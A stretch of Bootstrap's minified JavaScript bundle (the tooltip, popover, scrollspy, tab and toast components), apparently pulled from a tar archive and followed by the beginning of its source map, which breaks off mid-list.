e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"preSetPlacement",enabled:!0,phase:"beforeMain",fn:t=>{this._getTipElement().setAttribute("data-popper-placement",t.state.placement)}}]};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_setListeners(){const t=this._config.trigger.split(" ");for(const e of t)if("click"===e)P.on(this._element,this.constructor.eventName("click"),this._config.selector,(t=>{this._initializeOnDelegatedTarget(t).toggle()}));else if("manual"!==e){const t=e===sn?this.constructor.eventName("mouseenter"):this.constructor.eventName("focusin"),i=e===sn?this.constructor.eventName("mouseleave"):this.constructor.eventName("focusout");P.on(this._element,t,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusin"===t.type?on:sn]=!0,e._enter()})),P.on(this._element,i,this._config.selector,(t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger["focusout"===t.type?on:sn]=e._element.contains(t.relatedTarget),e._leave()}))}this._hideModalHandler=()=>{this._element&&this.hide()},P.on(this._element.closest(en),nn,this._hideModalHandler)}_fixTitle(){const t=this._element.getAttribute("title");t&&(this._element.getAttribute("aria-label")||this._element.textContent.trim()||this._element.setAttribute("aria-label",t),this._element.setAttribute("data-bs-original-title",t),this._element.removeAttribute("title"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout((()=>{this._isHovered&&this.show()}),this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout((()=>{this._isHovered||this.hide()}),this._config.delay.hide))}_setTimeout(t,e){clearTimeout(this._timeout),this._timeout=setTimeout(t,e)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(t){const e=B.getDataAttributes(this._element);for(const t of Object.keys(e))Ji.has(t)&&delete e[t];return t={...e,..."object"==typeof t&&t?t:{}},t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t.container=!1===t.container?document.body:r(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),t}_getDelegateConfig(){const t={};for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t.selector=!1,t.trigger="manual",t}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(t){return this.each((function(){const e=cn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}g(cn);const hn={...cn.Default,content:"",offset:[0,8],placement:"right",template:'',trigger:"click"},dn={...cn.DefaultType,content:"(null|string|element|function)"};class un extends cn{static get Default(){return hn}static get DefaultType(){return dn}static get NAME(){return"popover"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{".popover-header":this._getTitle(),".popover-body":this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(t){return this.each((function(){const e=un.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}g(un);const fn="click.bs.scrollspy",pn="active",gn="[href]",mn={offset:null,rootMargin:"0px 0px -25%",smoothScroll:!1,target:null,threshold:[.1,.5,1]},_n={offset:"(number|null)",rootMargin:"string",smoothScroll:"boolean",target:"element",threshold:"array"};class bn extends z{constructor(t,e){super(t,e),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement="visible"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return mn}static get DefaultType(){return _n}static get NAME(){return"scrollspy"}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const t of this._observableSections.values())this._observer.observe(t)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(t){return t.target=r(t.target)||document.body,t.rootMargin=t.offset?`${t.offset}px 0px -30%`:t.rootMargin,"string"==typeof t.threshold&&(t.threshold=t.threshold.split(",").map((t=>Number.parseFloat(t)))),t}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(P.off(this._config.target,fn),P.on(this._config.target,fn,gn,(t=>{const e=this._observableSections.get(t.target.hash);if(e){t.preventDefault();const i=this._rootElement||window,n=e.offsetTop-this._element.offsetTop;if(i.scrollTo)return void i.scrollTo({top:n,behavior:"smooth"});i.scrollTop=n}})))}_getNewObserver(){const t={root:this._rootElement,threshold:this._config.threshold,rootMargin:this._config.rootMargin};return new IntersectionObserver((t=>this._observerCallback(t)),t)}_observerCallback(t){const e=t=>this._targetLinks.get(`#${t.target.id}`),i=t=>{this._previousScrollData.visibleEntryTop=t.target.offsetTop,this._process(e(t))},n=(this._rootElement||document.documentElement).scrollTop,s=n>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=n;for(const o of t){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(e(o));continue}const t=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(s&&t){if(i(o),!n)return}else s||t||i(o)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const t=Q.find(gn,this._config.target);for(const e of t){if(!e.hash||l(e))continue;const t=Q.findOne(e.hash,this._element);a(t)&&(this._targetLinks.set(e.hash,e),this._observableSections.set(e.hash,t))}}_process(t){this._activeTarget!==t&&(this._clearActiveClass(this._config.target),this._activeTarget=t,t.classList.add(pn),this._activateParents(t),P.trigger(this._element,"activate.bs.scrollspy",{relatedTarget:t}))}_activateParents(t){if(t.classList.contains("dropdown-item"))Q.findOne(".dropdown-toggle",t.closest(".dropdown")).classList.add(pn);else for(const e of Q.parents(t,".nav, .list-group"))for(const t of Q.prev(e,".nav-link, .nav-item > .nav-link, .list-group-item"))t.classList.add(pn)}_clearActiveClass(t){t.classList.remove(pn);const e=Q.find("[href].active",t);for(const t of e)t.classList.remove(pn)}static jQueryInterface(t){return this.each((function(){const e=bn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(window,"load.bs.scrollspy.data-api",(()=>{for(const t of Q.find('[data-bs-spy="scroll"]'))bn.getOrCreateInstance(t)})),g(bn);const vn="ArrowLeft",yn="ArrowRight",wn="ArrowUp",An="ArrowDown",En="active",Tn="fade",Cn="show",On='[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]',xn=`.nav-link:not(.dropdown-toggle), .list-group-item:not(.dropdown-toggle), [role="tab"]:not(.dropdown-toggle), ${On}`;class kn extends z{constructor(t){super(t),this._parent=this._element.closest('.list-group, .nav, [role="tablist"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),P.on(this._element,"keydown.bs.tab",(t=>this._keydown(t))))}static get NAME(){return"tab"}show(){const t=this._element;if(this._elemIsActive(t))return;const e=this._getActiveElem(),i=e?P.trigger(e,"hide.bs.tab",{relatedTarget:t}):null;P.trigger(t,"show.bs.tab",{relatedTarget:e}).defaultPrevented||i&&i.defaultPrevented||(this._deactivate(e,t),this._activate(t,e))}_activate(t,e){t&&(t.classList.add(En),this._activate(n(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.removeAttribute("tabindex"),t.setAttribute("aria-selected",!0),this._toggleDropDown(t,!0),P.trigger(t,"shown.bs.tab",{relatedTarget:e})):t.classList.add(Cn)}),t,t.classList.contains(Tn)))}_deactivate(t,e){t&&(t.classList.remove(En),t.blur(),this._deactivate(n(t)),this._queueCallback((()=>{"tab"===t.getAttribute("role")?(t.setAttribute("aria-selected",!1),t.setAttribute("tabindex","-1"),this._toggleDropDown(t,!1),P.trigger(t,"hidden.bs.tab",{relatedTarget:e})):t.classList.remove(Cn)}),t,t.classList.contains(Tn)))}_keydown(t){if(![vn,yn,wn,An].includes(t.key))return;t.stopPropagation(),t.preventDefault();const e=[yn,An].includes(t.key),i=b(this._getChildren().filter((t=>!l(t))),t.target,e,!0);i&&(i.focus({preventScroll:!0}),kn.getOrCreateInstance(i).show())}_getChildren(){return Q.find(xn,this._parent)}_getActiveElem(){return this._getChildren().find((t=>this._elemIsActive(t)))||null}_setInitialAttributes(t,e){this._setAttributeIfNotExists(t,"role","tablist");for(const t of e)this._setInitialAttributesOnChild(t)}_setInitialAttributesOnChild(t){t=this._getInnerElement(t);const e=this._elemIsActive(t),i=this._getOuterElement(t);t.setAttribute("aria-selected",e),i!==t&&this._setAttributeIfNotExists(i,"role","presentation"),e||t.setAttribute("tabindex","-1"),this._setAttributeIfNotExists(t,"role","tab"),this._setInitialAttributesOnTargetPanel(t)}_setInitialAttributesOnTargetPanel(t){const e=n(t);e&&(this._setAttributeIfNotExists(e,"role","tabpanel"),t.id&&this._setAttributeIfNotExists(e,"aria-labelledby",`#${t.id}`))}_toggleDropDown(t,e){const i=this._getOuterElement(t);if(!i.classList.contains("dropdown"))return;const n=(t,n)=>{const s=Q.findOne(t,i);s&&s.classList.toggle(n,e)};n(".dropdown-toggle",En),n(".dropdown-menu",Cn),i.setAttribute("aria-expanded",e)}_setAttributeIfNotExists(t,e,i){t.hasAttribute(e)||t.setAttribute(e,i)}_elemIsActive(t){return t.classList.contains(En)}_getInnerElement(t){return t.matches(xn)?t:Q.findOne(xn,t)}_getOuterElement(t){return t.closest(".nav-item, .list-group-item")||t}static jQueryInterface(t){return this.each((function(){const e=kn.getOrCreateInstance(this);if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t]()}}))}}P.on(document,"click.bs.tab",On,(function(t){["A","AREA"].includes(this.tagName)&&t.preventDefault(),l(this)||kn.getOrCreateInstance(this).show()})),P.on(window,"load.bs.tab",(()=>{for(const t of Q.find('.active[data-bs-toggle="tab"], .active[data-bs-toggle="pill"], .active[data-bs-toggle="list"]'))kn.getOrCreateInstance(t)})),g(kn);const Ln="hide",Dn="show",Sn="showing",In={animation:"boolean",autohide:"boolean",delay:"number"},Nn={animation:!0,autohide:!0,delay:5e3};class Pn extends z{constructor(t,e){super(t,e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return Nn}static get DefaultType(){return In}static get NAME(){return"toast"}show(){P.trigger(this._element,"show.bs.toast").defaultPrevented||(this._clearTimeout(),this._config.animation&&this._element.classList.add("fade"),this._element.classList.remove(Ln),d(this._element),this._element.classList.add(Dn,Sn),this._queueCallback((()=>{this._element.classList.remove(Sn),P.trigger(this._element,"shown.bs.toast"),this._maybeScheduleHide()}),this._element,this._config.animation))}hide(){this.isShown()&&(P.trigger(this._element,"hide.bs.toast").defaultPrevented||(this._element.classList.add(Sn),this._queueCallback((()=>{this._element.classList.add(Ln),this._element.classList.remove(Sn,Dn),P.trigger(this._element,"hidden.bs.toast")}),this._element,this._config.animation)))}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(Dn),super.dispose()}isShown(){return this._element.classList.contains(Dn)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout((()=>{this.hide()}),this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){P.on(this._element,"mouseover.bs.toast",(t=>this._onInteraction(t,!0))),P.on(this._element,"mouseout.bs.toast",(t=>this._onInteraction(t,!1))),P.on(this._element,"focusin.bs.toast",(t=>this._onInteraction(t,!0))),P.on(this._element,"focusout.bs.toast",(t=>this._onInteraction(t,!1)))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=Pn.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return q(Pn),g(Pn),{Alert:R,Button:K,Carousel:at,Collapse:pt,Dropdown:hi,Modal:Ni,Offcanvas:zi,Popover:un,ScrollSpy:bn,Tab:kn,Toast:Pn,Tooltip:cn}})); //# sourceMappingURL=bootstrap.bundle.min.js.mapvendor/bootstrap/bootstrap.bundle.min.js.map000066600001212426151724472060015263 0ustar00{"version":3,"names":["TRANSITION_END","getSelector","element","selector","getAttribute","hrefAttribute","includes","startsWith","split","trim","getSelectorFromElement","document","querySelector","getElementFromSelector","triggerTransitionEnd","dispatchEvent","Event","isElement","object","jquery","nodeType","getElement","length","isVisible","getClientRects","elementIsVisible","getComputedStyle","getPropertyValue","closedDetails","closest","summary","parentNode","isDisabled","Node","ELEMENT_NODE","classList","contains","disabled","hasAttribute","findShadowRoot","documentElement","attachShadow","getRootNode","root","ShadowRoot","noop","reflow","offsetHeight","getjQuery","window","jQuery","body","DOMContentLoadedCallbacks","isRTL","dir","defineJQueryPlugin","plugin","callback","$","name","NAME","JQUERY_NO_CONFLICT","fn","jQueryInterface","Constructor","noConflict","readyState","addEventListener","push","execute","executeAfterTransition","transitionElement","waitForTransition","emulatedDuration","transitionDuration","transitionDelay","floatTransitionDuration","Number","parseFloat","floatTransitionDelay","getTransitionDurationFromElement","called","handler","target","removeEventListener","setTimeout","getNextActiveElement","list","activeElement","shouldGetNext","isCycleAllowed","listLength","index","indexOf","Math","max","min","namespaceRegex","stripNameRegex","stripUidRegex","eventRegistry","uidEvent","customEvents","mouseenter","mouseleave","nativeEvents","Set","makeEventUid","uid","getElementEvents","findHandler","events","callable","delegationSelector","Object","values","find","event","normalizeParameters","originalTypeEvent","delegationFunction","isDelegated","typeEvent","getTypeEvent","has","addHandler","oneOff","wrapFunction","relatedTarget","delegateTarget","call","this","handlers","previousFunction","replace","domElements","querySelectorAll","domElement","hydrateObj","EventHandler","off","type","apply","bootstrapDelegationHandler","bootstrapHandler","removeHandler","Boolean","removeNamespacedHandlers","namespace","storeElementEvent","handlerKey","keys","on","one","inNamespace","isNamespace","elementEvent","slice","keyHandlers","trigger","args","jQueryEvent","bubbles","nativeDispatch","defaultPrevented","isPropagationStopped","isImmediatePropagationStopped","isDefaultPrevented","evt","cancelable","preventDefault","obj","meta","key","value","entries","_unused","defineProperty","configurable","get","elementMap","Map","Data","set","instance","instanceMap","size","console","error","Array","from","remove","delete","normalizeData","toString","JSON","parse","decodeURIComponent","normalizeDataKey","chr","toLowerCase","Manipulator","setDataAttribute","setAttribute","removeDataAttribute","removeAttribute","getDataAttributes","attributes","bsKeys","dataset","filter","pureKey","charAt","getDataAttribute","Config","Default","DefaultType","Error","_getConfig","config","_mergeConfigObj","_configAfterMerge","_typeCheckConfig","jsonConfig","constructor","configTypes","property","expectedTypes","valueType","prototype","match","RegExp","test","TypeError","toUpperCase","BaseComponent","super","_element","_config","DATA_KEY","dispose","EVENT_KEY","propertyName","getOwnPropertyNames","_queueCallback","isAnimated","static","getInstance","VERSION","enableDismissTrigger","component","method","clickEvent","tagName","getOrCreateInstance","Alert","close","_destroyElement","each","data","undefined","SELECTOR_DATA_TOGGLE","Button","toggle","button","SelectorEngine","concat","Element","findOne","children","child","matches","parents","ancestor","prev","previous","previousElementSibling","next","nextElementSibling","focusableChildren","focusables","map","join","el","endCallback","leftCallback","rightCallback","Swipe","isSupported","_deltaX","_supportPointerEvents","PointerEvent","_initEvents","_start","_eventIsPointerPenTouch","clientX","touches","_end","_handleSwipe","_move","absDeltaX","abs","direction","add","pointerType","navigator","maxTouchPoints","ORDER_NEXT","ORDER_PREV","DIRECTION_LEFT","DIRECTION_RIGHT","EVENT_SLID","CLASS_NAME_CAROUSEL","CLASS_NAME_ACTIVE","KEY_TO_DIRECTION","ArrowLeft","ArrowRight","interval","keyboard","pause","ride","touch","wrap","Carousel","_interval","_activeElement","_isSliding","touchTimeout","_swipeHelper","_indicatorsElement","_addEventListeners","cycle","_slide","nextWhenVisible","hidden","_clearInterval","_updateInterval","setInterval","_maybeEnableCycle","to","items","_getItems","activeIndex","_getItemIndex","_getActive","order","defaultInterval","_keydown","_addTouchEventListeners","img","swipeConfig","_directionToOrder","clearTimeout","_setActiveIndicatorElement","activeIndicator","newActiveIndicator","elementInterval","parseInt","isNext","nextElement","nextElementIndex","triggerEvent","eventName","_orderToDirection","isCycling","directionalClassName","orderClassName","_isAnimated","SELECTOR_ACTIVE","clearInterval","carousel","slideIndex","carousels","CLASS_NAME_SHOW","CLASS_NAME_COLLAPSE","CLASS_NAME_COLLAPSING","parent","Collapse","_isTransitioning","_triggerArray","toggleList","elem","filterElement","foundElement","_initializeChildren","_addAriaAndCollapsedClass","_isShown","hide","show","activeChildren","_getFirstLevelChildren","activeInstance","dimension","_getDimension","style","scrollSize","getBoundingClientRect","selected","triggerArray","isOpen","selectorElements","top","bottom","right","left","auto","basePlacements","start","end","clippingParents","viewport","popper","reference","variationPlacements","reduce","acc","placement","placements","beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite","modifierPhases","getNodeName","nodeName","getWindow","node","ownerDocument","defaultView","isHTMLElement","HTMLElement","isShadowRoot","applyStyles$1","enabled","phase","_ref","state","elements","forEach","styles","assign","effect","_ref2","initialStyles","position","options","strategy","margin","arrow","hasOwnProperty","attribute","requires","getBasePlacement","round","getUAString","uaData","userAgentData","brands","item","brand","version","userAgent","isLayoutViewport","includeScale","isFixedStrategy","clientRect","scaleX","scaleY","offsetWidth","width","height","visualViewport","addVisualOffsets","x","offsetLeft","y","offsetTop","getLayoutRect","rootNode","isSameNode","host","isTableElement","getDocumentElement","getParentNode","assignedSlot","getTrueOffsetParent","offsetParent","getOffsetParent","isFirefox","currentNode","css","transform","perspective","contain","willChange","getContainingBlock","getMainAxisFromPlacement","within","mathMax","mathMin","mergePaddingObject","paddingObject","expandToHashMap","hashMap","arrow$1","_state$modifiersData$","arrowElement","popperOffsets","modifiersData","basePlacement","axis","len","padding","rects","toPaddingObject","arrowRect","minProp","maxProp","endDiff","startDiff","arrowOffsetParent","clientSize","clientHeight","clientWidth","centerToReference","center","offset","axisProp","centerOffset","_options$element","requiresIfExists","getVariation","unsetSides","mapToStyles","_Object$assign2","popperRect","variation","offsets","gpuAcceleration","adaptive","roundOffsets","isFixed","_offsets$x","_offsets$y","_ref3","hasX","hasY","sideX","sideY","win","heightProp","widthProp","_Object$assign","commonStyles","_ref4","dpr","devicePixelRatio","roundOffsetsByDPR","computeStyles$1","_ref5","_options$gpuAccelerat","_options$adaptive","_options$roundOffsets","passive","eventListeners","_options$scroll","scroll","_options$resize","resize","scrollParents","scrollParent","update","hash","getOppositePlacement","matched","getOppositeVariationPlacement","getWindowScroll","scrollLeft","pageXOffset","scrollTop","pageYOffset","getWindowScrollBarX","isScrollParent","_getComputedStyle","overflow","overflowX","overflowY","getScrollParent","listScrollParents","_element$ownerDocumen","isBody","updatedList","rectToClientRect","rect","getClientRectFromMixedType","clippingParent","html","layoutViewport","getViewportRect","clientTop","clientLeft","getInnerBoundingClientRect","winScroll","scrollWidth","scrollHeight","getDocumentRect","computeOffsets","commonX","commonY","mainAxis","detectOverflow","_options","_options$placement","_options$strategy","_options$boundary","boundary","_options$rootBoundary","rootBoundary","_options$elementConte","elementContext","_options$altBoundary","altBoundary","_options$padding","altContext","clippingClientRect","mainClippingParents","clipperElement","getClippingParents","firstClippingParent","clippingRect","accRect","getClippingRect","contextElement","referenceClientRect","popperClientRect","elementClientRect","overflowOffsets","offsetData","multiply","computeAutoPlacement","flipVariations","_options$allowedAutoP","allowedAutoPlacements","allPlacements","allowedPlacements","overflows","sort","a","b","flip$1","_skip","_options$mainAxis","checkMainAxis","_options$altAxis","altAxis","checkAltAxis","specifiedFallbackPlacements","fallbackPlacements","_options$flipVariatio","preferredPlacement","oppositePlacement","getExpandedFallbackPlacements","referenceRect","checksMap","makeFallbackChecks","firstFittingPlacement","i","_basePlacement","isStartVariation","isVertical","mainVariationSide","altVariationSide","checks","every","check","_loop","_i","fittingPlacement","reset","getSideOffsets","preventedOffsets","isAnySideFullyClipped","some","side","hide$1","preventOverflow","referenceOverflow","popperAltOverflow","referenceClippingOffsets","popperEscapeOffsets","isReferenceHidden","hasPopperEscaped","offset$1","_options$offset","invertDistance","skidding","distance","distanceAndSkiddingToXY","_data$state$placement","popperOffsets$1","preventOverflow$1","_options$tether","tether","_options$tetherOffset","tetherOffset","isBasePlacement","tetherOffsetValue","normalizedTetherOffsetValue","offsetModifierState","_offsetModifierState$","mainSide","altSide","additive","minLen","maxLen","arrowPaddingObject","arrowPaddingMin","arrowPaddingMax","arrowLen","minOffset","maxOffset","clientOffset","offsetModifierValue","tetherMax","preventedOffset","_offsetModifierState$2","_mainSide","_altSide","_offset","_len","_min","_max","isOriginSide","_offsetModifierValue","_tetherMin","_tetherMax","_preventedOffset","v","withinMaxClamp","getCompositeRect","elementOrVirtualElement","isOffsetParentAnElement","offsetParentIsScaled","isElementScaled","modifiers","visited","result","modifier","dep","depModifier","DEFAULT_OPTIONS","areValidElements","arguments","_key","popperGenerator","generatorOptions","_generatorOptions","_generatorOptions$def","defaultModifiers","_generatorOptions$def2","defaultOptions","pending","orderedModifiers","effectCleanupFns","isDestroyed","setOptions","setOptionsAction","cleanupModifierEffects","merged","orderModifiers","current","existing","m","_ref3$options","cleanupFn","forceUpdate","_state$elements","_state$orderedModifie","_state$orderedModifie2","Promise","resolve","then","destroy","onFirstUpdate","createPopper","computeStyles","applyStyles","flip","ARROW_UP_KEY","ARROW_DOWN_KEY","EVENT_CLICK_DATA_API","EVENT_KEYDOWN_DATA_API","SELECTOR_DATA_TOGGLE_SHOWN","SELECTOR_MENU","PLACEMENT_TOP","PLACEMENT_TOPEND","PLACEMENT_BOTTOM","PLACEMENT_BOTTOMEND","PLACEMENT_RIGHT","PLACEMENT_LEFT","autoClose","display","popperConfig","Dropdown","_popper","_parent","_menu","_inNavbar","_detectNavbar","_createPopper","focus","_completeHide","Popper","referenceElement","_getPopperConfig","_getPlacement","parentDropdown","isEnd","_getOffset","popperData","defaultBsPopperConfig","_selectMenuItem","openToggles","context","composedPath","isMenuTarget","isInput","isEscapeEvent","isUpOrDownEvent","getToggleButton","stopPropagation","dataApiKeydownHandler","clearMenus","SELECTOR_FIXED_CONTENT","SELECTOR_STICKY_CONTENT","PROPERTY_PADDING","PROPERTY_MARGIN","ScrollBarHelper","getWidth","documentWidth","innerWidth","_disableOverFlow","_setElementAttributes","calculatedValue","_resetElementAttributes","isOverflowing","_saveInitialAttribute","styleProperty","scrollbarWidth","_applyManipulationCallback","setProperty","actualValue","removeProperty","callBack","sel","EVENT_MOUSEDOWN","className","clickCallback","rootElement","Backdrop","_isAppended","_append","_getElement","_emulateAnimation","backdrop","createElement","append","TAB_NAV_BACKWARD","autofocus","trapElement","FocusTrap","_isActive","_lastTabNavDirection","activate","_handleFocusin","_handleKeydown","deactivate","shiftKey","EVENT_HIDDEN","EVENT_SHOW","CLASS_NAME_OPEN","CLASS_NAME_STATIC","Modal","_dialog","_backdrop","_initializeBackDrop","_focustrap","_initializeFocusTrap","_scrollBar","_adjustDialog","_showElement","_hideModal","htmlElement","handleUpdate","modalBody","_triggerBackdropTransition","event2","_resetAdjustments","isModalOverflowing","initialOverflowY","isBodyOverflowing","paddingLeft","paddingRight","showEvent","alreadyOpen","CLASS_NAME_SHOWING","CLASS_NAME_HIDING","OPEN_SELECTOR","EVENT_HIDE_PREVENTED","Offcanvas","blur","uriAttributes","SAFE_URL_PATTERN","DATA_URL_PATTERN","allowedAttribute","allowedAttributeList","attributeName","nodeValue","attributeRegex","regex","DefaultAllowlist","area","br","col","code","div","em","hr","h1","h2","h3","h4","h5","h6","li","ol","p","pre","s","small","span","sub","sup","strong","u","ul","allowList","content","extraClass","sanitize","sanitizeFn","template","DefaultContentType","entry","TemplateFactory","getContent","_resolvePossibleFunction","hasContent","changeContent","_checkContent","toHtml","templateWrapper","innerHTML","_maybeSanitize","text","_setContent","arg","templateElement","_putElementInTemplate","textContent","unsafeHtml","sanitizeFunction","createdDocument","DOMParser","parseFromString","elementName","attributeList","allowedAttributes","sanitizeHtml","DISALLOWED_ATTRIBUTES","CLASS_NAME_FADE","SELECTOR_MODAL","EVENT_MODAL_HIDE","TRIGGER_HOVER","TRIGGER_FOCUS","AttachmentMap","AUTO","TOP","RIGHT","BOTTOM","LEFT","animation","container","customClass","delay","title","Tooltip","_isEnabled","_timeout","_isHovered","_activeTrigger","_templateFactory","_newContent","tip","_setListeners","_fixTitle","enable","disable","toggleEnabled","click","_leave","_enter","_hideModalHandler","_disposePopper","_isWithContent","isInTheDom","_getTipElement","_isWithActiveTrigger","_getTitle","_createTipElement","_getContentForTemplate","_getTemplateFactory","tipId","prefix","floor","random","getElementById","getUID","setContent","_initializeOnDelegatedTarget","_getDelegateConfig","attachment","triggers","eventIn","eventOut","_setTimeout","timeout","dataAttributes","dataAttribute","Popover","_getContent","EVENT_CLICK","SELECTOR_TARGET_LINKS","rootMargin","smoothScroll","threshold","ScrollSpy","_targetLinks","_observableSections","_rootElement","_activeTarget","_observer","_previousScrollData","visibleEntryTop","parentScrollTop","refresh","_initializeTargetsAndObservables","_maybeEnableSmoothScroll","disconnect","_getNewObserver","section","observe","observableSection","scrollTo","behavior","IntersectionObserver","_observerCallback","targetElement","id","_process","userScrollsDown","isIntersecting","_clearActiveClass","entryIsLowerThanPrevious","targetLinks","anchor","_activateParents","listGroup","activeNodes","spy","ARROW_LEFT_KEY","ARROW_RIGHT_KEY","SELECTOR_INNER_ELEM","Tab","_setInitialAttributes","_getChildren","innerElem","_elemIsActive","active","_getActiveElem","hideEvent","_deactivate","_activate","relatedElem","_toggleDropDown","nextActiveElement","preventScroll","_setAttributeIfNotExists","_setInitialAttributesOnChild","_getInnerElement","isActive","outerElem","_getOuterElement","_setInitialAttributesOnTargetPanel","open","CLASS_NAME_HIDE","autohide","Toast","_hasMouseInteraction","_hasKeyboardInteraction","_clearTimeout","_maybeScheduleHide","isShown","_onInteraction","isInteracting"],"sources":["../../js/src/util/index.js","../../js/src/dom/event-handler.js","../../js/src/dom/data.js","../../js/src/dom/manipulator.js","../../js/src/util/config.js","../../js/src/base-component.js","../../js/src/util/component-functions.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/dom/selector-engine.js","../../js/src/util/swipe.js","../../js/src/carousel.js","../../js/src/collapse.js","../../node_modules/@popperjs/core/lib/enums.js","../../node_modules/@popperjs/core/lib/dom-utils/getNodeName.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindow.js","../../node_modules/@popperjs/core/lib/dom-utils/instanceOf.js","../../node_modules/@popperjs/core/lib/modifiers/applyStyles.js","../../node_modules/@popperjs/core/lib/utils/getBasePlacement.js","../../node_modules/@popperjs/core/lib/utils/math.js","../../node_modules/@popperjs/core/lib/utils/userAgent.js","../../node_modules/@popperjs/core/lib/dom-utils/isLayoutViewport.js","../../node_modules/@popperjs/core/lib/dom-utils/getBoundingClientRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getLayoutRect.js","../../node_modules/@popperjs/core/lib/dom-utils/contains.js","../../node_modules/@popperjs/core/lib/dom-utils/getComputedStyle.js","../../node_modules/@popperjs/core/lib/dom-utils/isTableElement.js","../../node_modules/@popperjs/core/lib/dom-utils/getDocumentElement.js","../../node_modules/@popperjs/core/lib/dom-utils/getParentNode.js","../../node_modules/@popperjs/core/lib/dom-utils/getOffsetParent.js","../../node_modules/@popperjs/core/lib/utils/getMainAxisFromPlacement.js","../../node_modules/@popperjs/core/lib/utils/within.js","../../node_modules/@popperjs/core/lib/utils/mergePaddingObject.js","../../node_modules/@popperjs/core/lib/utils/getFreshSideObject.js","../../node_modules/@popperjs/core/lib/utils/expandToHashMap.js","../../node_modules/@popperjs/core/lib/modifiers/arrow.js","../../node_modules/@popperjs/core/lib/utils/getVariation.js","../../node_modules/@popperjs/core/lib/modifiers/computeStyles.js","../../node_modules/@popperjs/core/lib/modifiers/eventListeners.js","../../node_modules/@popperjs/core/lib/utils/getOppositePlacement.js","../../node_modules/@popperjs/core/lib/utils/getOppositeVariationPlacement.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindowScroll.js","../../node_modules/@popperjs/core/lib/dom-utils/getWindowScrollBarX.js","../../node_modules/@popperjs/core/lib/dom-utils/isScrollParent.js","../../node_modules/@popperjs/core/lib/dom-utils/getScrollParent.js","../../node_modules/@popperjs/core/lib/dom-utils/listScrollParents.js","../../node_modules/@popperjs/core/lib/utils/rectToClientRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getClippingRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getViewportRect.js","../../node_modules/@popperjs/core/lib/dom-utils/getDocumentRect.js","../../node_modules/@popperjs/core/lib/utils/computeOffsets.js","../../node_modules/@popperjs/core/lib/utils/detectOverflow.js","../../node_modules/@popperjs/core/lib/utils/computeAutoPlacement.js","../../node_modules/@popperjs/core/lib/modifiers/flip.js","../../node_modules/@popperjs/core/lib/modifiers/hide.js","../../node_modules/@popperjs/core/lib/modifiers/offset.js","../../node_modules/@popperjs/core/lib/modifiers/popperOffsets.js","../../node_modules/@popperjs/core/lib/modifiers/preventOverflow.js","../../node_modules/@popperjs/core/lib/utils/getAltAxis.js","../../node_modules/@popperjs/core/lib/dom-utils/getCompositeR